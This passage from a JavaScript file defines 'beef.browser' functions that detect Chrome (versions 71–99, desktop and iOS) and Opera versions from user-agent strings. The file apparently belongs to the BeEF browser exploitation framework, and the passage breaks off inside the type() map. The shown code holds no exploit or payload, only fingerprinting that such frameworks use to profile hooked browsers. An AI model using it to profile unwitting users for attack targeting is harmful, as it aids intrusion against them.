return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 70) ? true : false);
1986
},
1987
1988
/**
1989
* Returns true if Chrome 71.
1990
* @example: beef.browser.isC71()
1991
*/
1992
isC71: function () {
1993
return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 71) ? true : false);
1994
},
1995
1996
/**
1997
* Returns true if Chrome for iOS 71.
1998
* @example: beef.browser.isC71iOS()
1999
*/
2000
isC71iOS: function () {
2001
return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 71) ? true : false);
2002
},
2003
2004
/**
2005
* Returns true if Chrome 72.
2006
* @example: beef.browser.isC72()
2007
*/
2008
isC72: function () {
2009
return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 72) ? true : false);
2010
},
2011
2012
/**
2013
* Returns true if Chrome for iOS 72.
2014
* @example: beef.browser.isC72iOS()
2015
*/
2016
isC72iOS: function () {
2017
return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 72) ? true : false);
2018
},
2019
2020
/**
2021
* Returns true if Chrome 73.
2022
* @example: beef.browser.isC73()
2023
*/
2024
isC73: function () {
2025
return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 73) ? true : false);
2026
},
2027
2028
/**
2029
* Returns true if Chrome for iOS 73.
2030
* @example: beef.browser.isC73iOS()
2031
*/
2032
isC73iOS: function () {
2033
return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 73) ? true : false);
2034
},
2035
2036
/**
2037
* Returns true if Chrome 74.
2038
* @example: beef.browser.isC74()
2039
*/
2040
isC74: function () {
2041
return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 74) ? true : false);
2042
},
2043
2044
/**
2045
* Returns true if Chrome for iOS 74.
2046
* @example: beef.browser.isC74iOS()
2047
*/
2048
isC74iOS: function () {
2049
return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 74) ? true : false);
2050
},
2051
2052
/**
2053
* Returns true if Chrome 75.
2054
* @example: beef.browser.isC75()
2055
*/
2056
isC75: function () {
2057
return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 75) ? true : false);
2058
},
2059
2060
/**
2061
* Returns true if Chrome for iOS 75.
2062
* @example: beef.browser.isC75iOS()
2063
*/
2064
isC75iOS: function () {
2065
return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 75) ? true : false);
2066
},
2067
2068
/**
2069
* Returns true if Chrome 76.
2070
* @example: beef.browser.isC76()
2071
*/
2072
isC76: function () {
2073
return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 76) ? true : false);
2074
},
2075
2076
/**
2077
* Returns true if Chrome for iOS 76.
2078
* @example: beef.browser.isC76iOS()
2079
*/
2080
isC76iOS: function () {
2081
return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 76) ? true : false);
2082
},
2083
2084
/**
2085
* Returns true if Chrome 77.
2086
* @example: beef.browser.isC77()
2087
*/
2088
isC77: function () {
2089
return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 77) ? true : false);
2090
},
2091
2092
/**
2093
* Returns true if Chrome for iOS 77.
2094
* @example: beef.browser.isC77iOS()
2095
*/
2096
isC77iOS: function () {
2097
return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 77) ? true : false);
2098
},
2099
2100
/**
2101
* Returns true if Chrome 78.
2102
* @example: beef.browser.isC78()
2103
*/
2104
isC78: function () {
2105
return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 78) ? true : false);
2106
},
2107
2108
/**
2109
* Returns true if Chrome for iOS 78.
2110
* @example: beef.browser.isC78iOS()
2111
*/
2112
isC78iOS: function () {
2113
return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 78) ? true : false);
2114
},
2115
2116
/**
2117
* Returns true if Chrome 79.
2118
* @example: beef.browser.isC79()
2119
*/
2120
isC79: function () {
2121
return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 79) ? true : false);
2122
},
2123
2124
/**
2125
* Returns true if Chrome for iOS 79.
2126
* @example: beef.browser.isC79iOS()
2127
*/
2128
isC79iOS: function () {
2129
return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 79) ? true : false);
2130
},
2131
2132
/**
2133
* Returns true if Chrome 80.
2134
* @example: beef.browser.isC80()
2135
*/
2136
isC80: function () {
2137
return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 80) ? true : false);
2138
},
2139
2140
/**
2141
* Returns true if Chrome for iOS 80.
2142
* @example: beef.browser.isC80iOS()
2143
*/
2144
isC80iOS: function () {
2145
return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 80) ? true : false);
2146
},
2147
2148
/**
2149
* Returns true if Chrome 81.
2150
* @example: beef.browser.isC81()
2151
*/
2152
isC81: function () {
2153
return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 81) ? true : false);
2154
},
2155
2156
/**
2157
* Returns true if Chrome for iOS 81.
2158
* @example: beef.browser.isC81iOS()
2159
*/
2160
isC81iOS: function () {
2161
return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 81) ? true : false);
2162
},
2163
2164
/**
2165
* Returns true if Chrome 82.
2166
* @example: beef.browser.isC82()
2167
*/
2168
isC82: function () {
2169
return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 82) ? true : false);
2170
},
2171
2172
/**
2173
* Returns true if Chrome for iOS 82.
2174
* @example: beef.browser.isC82iOS()
2175
*/
2176
isC82iOS: function () {
2177
return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 82) ? true : false);
2178
},
2179
2180
/**
2181
* Returns true if Chrome 83.
2182
* @example: beef.browser.isC83()
2183
*/
2184
isC83: function () {
2185
return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 83) ? true : false);
2186
},
2187
2188
/**
2189
* Returns true if Chrome for iOS 83.
2190
* @example: beef.browser.isC83iOS()
2191
*/
2192
isC83iOS: function () {
2193
return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 83) ? true : false);
2194
},
2195
2196
/**
2197
* Returns true if Chrome 84.
2198
* @example: beef.browser.isC84()
2199
*/
2200
isC84: function () {
2201
return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 84) ? true : false);
2202
},
2203
2204
/**
2205
* Returns true if Chrome for iOS 84.
2206
* @example: beef.browser.isC84iOS()
2207
*/
2208
isC84iOS: function () {
2209
return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 84) ? true : false);
2210
},
2211
2212
/**
2213
* Returns true if Chrome 85.
2214
* @example: beef.browser.isC85()
2215
*/
2216
isC85: function () {
2217
return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 85) ? true : false);
2218
},
2219
2220
/**
2221
* Returns true if Chrome for iOS 85.
2222
* @example: beef.browser.isC85iOS()
2223
*/
2224
isC85iOS: function () {
2225
return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 85) ? true : false);
2226
},
2227
2228
/**
2229
* Returns true if Chrome 86.
2230
* @example: beef.browser.isC86()
2231
*/
2232
isC86: function () {
2233
return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 86) ? true : false);
2234
},
2235
2236
/**
2237
* Returns true if Chrome for iOS 86.
2238
* @example: beef.browser.isC86iOS()
2239
*/
2240
isC86iOS: function () {
2241
return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 86) ? true : false);
2242
},
2243
2244
/**
2245
* Returns true if Chrome 87.
2246
* @example: beef.browser.isC87()
2247
*/
2248
isC87: function () {
2249
return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 87) ? true : false);
2250
},
2251
2252
/**
2253
* Returns true if Chrome for iOS 87.
2254
* @example: beef.browser.isC87iOS()
2255
*/
2256
isC87iOS: function () {
2257
return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 87) ? true : false);
2258
},
2259
2260
/**
2261
* Returns true if Chrome 88.
2262
* @example: beef.browser.isC88()
2263
*/
2264
isC88: function () {
2265
return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 88) ? true : false);
2266
},
2267
2268
/**
2269
* Returns true if Chrome for iOS 88.
2270
* @example: beef.browser.isC88iOS()
2271
*/
2272
isC88iOS: function () {
2273
return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 88) ? true : false);
2274
},
2275
2276
/**
2277
* Returns true if Chrome 89.
2278
* @example: beef.browser.isC89()
2279
*/
2280
isC89: function () {
2281
return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 89) ? true : false);
2282
},
2283
2284
/**
2285
* Returns true if Chrome for iOS 89.
2286
* @example: beef.browser.isC89iOS()
2287
*/
2288
isC89iOS: function () {
2289
return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 89) ? true : false);
2290
},
2291
2292
/**
2293
* Returns true if Chrome 90.
2294
* @example: beef.browser.isC90()
2295
*/
2296
isC90: function () {
2297
return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 90) ? true : false);
2298
},
2299
2300
/**
2301
* Returns true if Chrome for iOS 90.
2302
* @example: beef.browser.isC90iOS()
2303
*/
2304
isC90iOS: function () {
2305
return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 90) ? true : false);
2306
},
2307
2308
/**
2309
* Returns true if Chrome 91.
2310
* @example: beef.browser.isC91()
2311
*/
2312
isC91: function () {
2313
return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 91) ? true : false);
2314
},
2315
2316
/**
2317
* Returns true if Chrome for iOS 91.
2318
* @example: beef.browser.isC91iOS()
2319
*/
2320
isC91iOS: function () {
2321
return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 91) ? true : false);
2322
},
2323
2324
/**
2325
* Returns true if Chrome 92.
2326
* @example: beef.browser.isC92()
2327
*/
2328
isC92: function () {
2329
return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 92) ? true : false);
2330
},
2331
2332
/**
2333
* Returns true if Chrome for iOS 92.
2334
* @example: beef.browser.isC92iOS()
2335
*/
2336
isC92iOS: function () {
2337
return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 92) ? true : false);
2338
},
2339
2340
/**
2341
* Returns true if Chrome 93.
2342
* @example: beef.browser.isC93()
2343
*/
2344
isC93: function () {
2345
return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 93) ? true : false);
2346
},
2347
2348
/**
2349
* Returns true if Chrome for iOS 93.
2350
* @example: beef.browser.isC93iOS()
2351
*/
2352
isC93iOS: function () {
2353
return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 93) ? true : false);
2354
},
2355
2356
/**
2357
* Returns true if Chrome 94.
2358
* @example: beef.browser.isC94()
2359
*/
2360
isC94: function () {
2361
return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 94) ? true : false);
2362
},
2363
2364
/**
2365
* Returns true if Chrome for iOS 94.
2366
* @example: beef.browser.isC94iOS()
2367
*/
2368
isC94iOS: function () {
2369
return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 94) ? true : false);
2370
},
2371
2372
/**
2373
* Returns true if Chrome 95.
2374
* @example: beef.browser.isC95()
2375
*/
2376
isC95: function () {
2377
return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 95) ? true : false);
2378
},
2379
2380
/**
2381
* Returns true if Chrome for iOS 95.
2382
* @example: beef.browser.isC95iOS()
2383
*/
2384
isC95iOS: function () {
2385
return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 95) ? true : false);
2386
},
2387
2388
/**
2389
* Returns true if Chrome 96.
2390
* @example: beef.browser.isC96()
2391
*/
2392
isC96: function () {
2393
return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 96) ? true : false);
2394
},
2395
2396
/**
2397
* Returns true if Chrome for iOS 96.
2398
* @example: beef.browser.isC96iOS()
2399
*/
2400
isC96iOS: function () {
2401
return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 96) ? true : false);
2402
},
2403
2404
/**
2405
* Returns true if Chrome 97.
2406
* @example: beef.browser.isC97()
2407
*/
2408
isC97: function () {
2409
return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 97) ? true : false);
2410
},
2411
2412
/**
2413
* Returns true if Chrome for iOS 97.
2414
* @example: beef.browser.isC97iOS()
2415
*/
2416
isC97iOS: function () {
2417
return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 97) ? true : false);
2418
},
2419
2420
/**
2421
* Returns true if Chrome 98.
2422
* @example: beef.browser.isC98()
2423
*/
2424
isC98: function () {
2425
return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 98) ? true : false);
2426
},
2427
2428
/**
2429
* Returns true if Chrome for iOS 98.
2430
* @example: beef.browser.isC98iOS()
2431
*/
2432
isC98iOS: function () {
2433
return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 98) ? true : false);
2434
},
2435
2436
/**
2437
* Returns true if Chrome 99.
2438
* @example: beef.browser.isC99()
2439
*/
2440
isC99: function () {
2441
return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 99) ? true : false);
2442
},
2443
2444
/**
2445
* Returns true if Chrome for iOS 99.
2446
* @example: beef.browser.isC99iOS()
2447
*/
2448
isC99iOS: function () {
2449
return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 99) ? true : false);
2450
},
2451
2452
/**
2453
* Returns true for modern versions of Chrome (above 9).
2454
* @example: beef.browser.isCbowser()
2455
*/
2456
isCbowser: function () {
2457
const parser = bowser.getParser(navigator.userAgent);
2458
const browserName = parser.getBrowserName();
2459
return browserName == 'Chrome';
2460
},
2461
2462
/**
2463
* Returns true if Chrome.
2464
* @example: beef.browser.isC()
2465
*/
2466
isC: function () {
2467
var legacyCheck = this.isC5() || this.isC6() || this.isC7() || this.isC8() || this.isC9() || this.isC10() || this.isC11() || this.isC12() || this.isC13() || this.isC14() || this.isC15() || this.isC16() || this.isC17() || this.isC18() || this.isC19() || this.isC19iOS() || this.isC20() || this.isC20iOS() || this.isC21() || this.isC21iOS() || this.isC22() || this.isC22iOS() || this.isC23() || this.isC23iOS() || this.isC24() || this.isC24iOS() || this.isC25() || this.isC25iOS() || this.isC26() || this.isC26iOS() || this.isC27() || this.isC27iOS() || this.isC28() || this.isC28iOS() || this.isC29() || this.isC29iOS() || this.isC30() || this.isC30iOS() || this.isC31() || this.isC31iOS() || this.isC32() || this.isC32iOS() || this.isC33() || this.isC33iOS() || this.isC34() || this.isC34iOS() || this.isC35() || this.isC35iOS() || this.isC36() || this.isC36iOS() || this.isC37() || this.isC37iOS() || this.isC38() || this.isC38iOS() || this.isC39() || this.isC39iOS() || this.isC40() || this.isC40iOS() || this.isC41() || this.isC41iOS() || this.isC42() || this.isC42iOS() || this.isC43() || this.isC43iOS() || this.isC44() || this.isC44iOS() || this.isC45() || this.isC45iOS() || this.isC46() || this.isC46iOS() || this.isC47() || this.isC47iOS() || this.isC48() || this.isC48iOS() || this.isC49() || this.isC49iOS() || this.isC50() || this.isC50iOS() || this.isC51() || this.isC51iOS() || this.isC52() || this.isC52iOS() || this.isC53() || this.isC53iOS() || this.isC54() || this.isC54iOS() || this.isC55() || this.isC55iOS() || this.isC56() || this.isC56iOS() || this.isC57() || this.isC57iOS() || this.isC58() || this.isC58iOS() || this.isC59() || this.isC59iOS()|| this.isC60() || this.isC60iOS()|| this.isC61() || this.isC61iOS()|| this.isC62() || this.isC62iOS()|| this.isC63() || this.isC63iOS()|| this.isC64() || this.isC64iOS()|| this.isC65() || this.isC65iOS()|| this.isC66() || this.isC66iOS()|| this.isC67() || this.isC67iOS()|| this.isC68() || this.isC68iOS()|| this.isC69() || this.isC69iOS()|| this.isC70() || this.isC70iOS()|| this.isC71() || this.isC71iOS()|| this.isC72() || this.isC72iOS()|| this.isC73() || this.isC73iOS()|| this.isC74() || this.isC74iOS()|| this.isC75() || this.isC75iOS()|| this.isC76() || this.isC76iOS()|| this.isC77() || this.isC77iOS()|| this.isC78() || this.isC78iOS()|| this.isC79() || this.isC79iOS()|| this.isC80() || this.isC80iOS()|| this.isC81() || this.isC81iOS()|| this.isC82() || this.isC82iOS()|| this.isC83() || this.isC83iOS()|| this.isC84() || this.isC84iOS()|| this.isC85() || this.isC85iOS()|| this.isC86() || this.isC86iOS()|| this.isC87() || this.isC87iOS()|| this.isC88() || this.isC88iOS()|| this.isC89() || this.isC89iOS()|| this.isC90() || this.isC90iOS()|| this.isC91() || this.isC91iOS()|| this.isC92() || this.isC92iOS()|| this.isC93() || this.isC93iOS()|| this.isC94() || this.isC94iOS()|| this.isC95() || this.isC95iOS()|| this.isC96() || this.isC96iOS()|| this.isC97() || this.isC97iOS()|| this.isC98() || this.isC98iOS()|| this.isC99() || this.isC99iOS();
2468
return legacyCheck || this.isCbowser();
2469
},
2470
2471
/**
2472
* Returns true if Opera 9.50 through 9.52.
2473
* @example: beef.browser.isO9_52()
2474
*/
2475
isO9_52: function () {
2476
return (!!window.opera && (window.navigator.userAgent.match(/Opera\/9\.5/) != null));
2477
},
2478
2479
/**
2480
* Returns true if Opera 9.60 through 9.64.
2481
* @example: beef.browser.isO9_60()
2482
*/
2483
isO9_60: function () {
2484
return (!!window.opera && (window.navigator.userAgent.match(/Opera\/9\.6/) != null));
2485
},
2486
2487
/**
2488
* Returns true if Opera 10.xx.
2489
* @example: beef.browser.isO10()
2490
*/
2491
isO10: function () {
2492
return (!!window.opera && (window.navigator.userAgent.match(/Opera\/9\.80.*Version\/10\./) != null));
2493
},
2494
2495
/**
2496
* Returns true if Opera 11.xx.
2497
* @example: beef.browser.isO11()
2498
*/
2499
isO11: function () {
2500
return (!!window.opera && (window.navigator.userAgent.match(/Opera\/9\.80.*Version\/11\./) != null));
2501
},
2502
2503
/**
2504
* Returns true if Opera 12.xx.
2505
* @example: beef.browser.isO12()
2506
*/
2507
isO12: function () {
2508
return (!!window.opera && (window.navigator.userAgent.match(/Opera\/9\.80.*Version\/12\./) != null));
2509
},
2510
2511
/**
2512
* Returns true if the browser is any version of Opera.
2513
* @example: beef.browser.isObowser()
2514
*/
2515
isObowser: function () {
2516
const parser = bowser.getParser(navigator.userAgent);
2517
const browserName = parser.getBrowserName();
2518
return browserName == 'Opera';
2519
},
2520
2521
/**
2522
* Returns true if Opera.
2523
* @example: beef.browser.isO()
2524
*/
2525
isO: function () {
2526
var legacyCheck = this.isO9_52() || this.isO9_60() || this.isO10() || this.isO11() || this.isO12();
2527
return legacyCheck || this.isObowser();
2528
},
2529
2530
/**
2531
* Returns the type of browser being used.
2532
* @example: beef.browser.type().IE6
2533
* @example: beef.browser.type().FF
2534
* @example: beef.browser.type().O
2535
*/
2536
type: function () {
2537
2538
return {
2539
E: this.isEdge(), // Edge any version
2540
C5: this.isC5(), // Chrome 5
2541
C6: this.isC6(), // Chrome 6
2542
C7: this.isC7(), // Chrome 7
2543
C8: this.isC8(), // Chrome 8
2544
C9: this.isC9(), // Chrome 9
2545
C10: this.isC10(), // Chrome 10
2546
C11: this.isC11(), // Chrome 11
2547
C12: this.isC12(), // Chrome 12
2548
C13: this.isC13(), // Chrome 13
2549
C14: this.isC14(), // Chrome 14
2550
C15: this.isC15(), // Chrome 15
2551
C16: this.isC16(), // Chrome 16
2552
C17: this.isC17(), // Chrome 17
2553
C18: this.isC18(), // Chrome 18
2554
C19: this.isC19(), // Chrome 19
2555
C19iOS: this.isC19iOS(), // Chrome 19 on iOS
2556
C20: this.isC20(), // Chrome 20
2557
C20iOS: this.isC20iOS(), // Chrome 20 on iOS
2558
C21: this.isC21(), // Chrome 21
2559
C21iOS: this.isC21iOS(), // Chrome 21 on iOS
2560
C22: this.isC22(), // Chrome 22
2561
C22iOS: this.isC22iOS(), // Chrome 22 on iOS
2562
C23: this.isC23(), // Chrome 23
2563
C23iOS: this.isC23iOS(), // Chrome 23 on iOS
2564
C24: this.isC24(), // Chrome 24
2565
C24iOS: this.isC24iOS(), // Chrome 24 on iOS
2566
C25: this.isC25(), // Chrome 25
2567
C25iOS: this.isC25iOS(), // Chrome 25 on iOS
2568
C26: this.isC26(), // Chrome 26
2569
C26iOS: this.isC26iOS(), // Chrome 26 on iOS
2570
C27: this.isC27(), // Chrome 27
2571
C27iOS: this.isC27iOS(), // Chrome 27 on iOS
2572
C28: this.isC28(), // Chrome 28
2573
C28iOS: this.isC28iOS(), // Chrome 28 on iOS
2574
C29: this.isC29(), // Chrome 29
2575
C29iOS: this.isC29iOS(), // Chrome 29 on iOS
2576
C30: this.isC30(), // Chrome 30
2577
C30iOS: this.isC30iOS(), // Chrome 30 on iOS
2578
C31: this.isC31(), // Chrome 31
2579
C31iOS: this.isC31iOS(), // Chrome 31 on iOS
2580
C32: this.isC32(), // Chrome 32
2581
C32iOS: this.isC32iOS(), // Chrome 32 on iOS
2582
C33: this.isC33(), // Chrome 33
2583
C33iOS: this.isC33iOS(), // Chrome 33 on iOS
2584
C34: this.isC34(), // Chrome 34
2585
C34iOS: this.isC34iOS(), // Chrome 34 on iOS
2586
C35: this.isC35(), // Chrome 35
2587
C35iOS: this.isC35iOS(), // Chrome 35 on iOS
2588
C36: this.isC36(), // Chrome 36
2589
C36iOS: this.isC36iOS(), // Chrome 36 on iOS
2590
C37: this.isC37(), // Chrome 37
2591
C37iOS: this.isC37iOS(), // Chrome 37 on iOS
2592
C38: this.isC38(), // Chrome 38
2593
C38iOS: this.isC38iOS(), // Chrome 38 on iOS
2594
C39: this.isC39(), // Chrome 39
2595
C39iOS: this.isC39iOS(), // Chrome 39 on iOS
2596
C40: this.isC40(), // Chrome 40
2597
C40iOS: this.isC40iOS(), // Chrome 40 on iOS
2598
C41: this.isC41(), // Chrome 41
2599
C41iOS: this.isC41iOS(), // Chrome 41 on iOS
2600
C42: this.isC42(), // Chrome 42
2601
C42iOS: this.isC42iOS(), // Chrome 42 on iOS
2602
C43: this.isC43(), // Chrome 43
2603
C43iOS: this.isC43iOS(), // Chrome 43 on iOS
2604
C44: this.isC44(), // Chrome 44
2605
C44iOS: this.isC44iOS(), // Chrome 44 on iOS
2606
C45: this.isC45(), // Chrome 45
2607
C45iOS: this.isC45iOS(), // Chrome 45 on iOS
2608
C46: this.isC46(), // Chrome 46
2609
C46iOS: this.isC46iOS(), // Chrome 46 on iOS
2610
C47: this.isC47(), // Chrome 47
2611
C47iOS: this.isC47iOS(), // Chrome 47 on iOS
2612
C48: this.isC48(), // Chrome 48
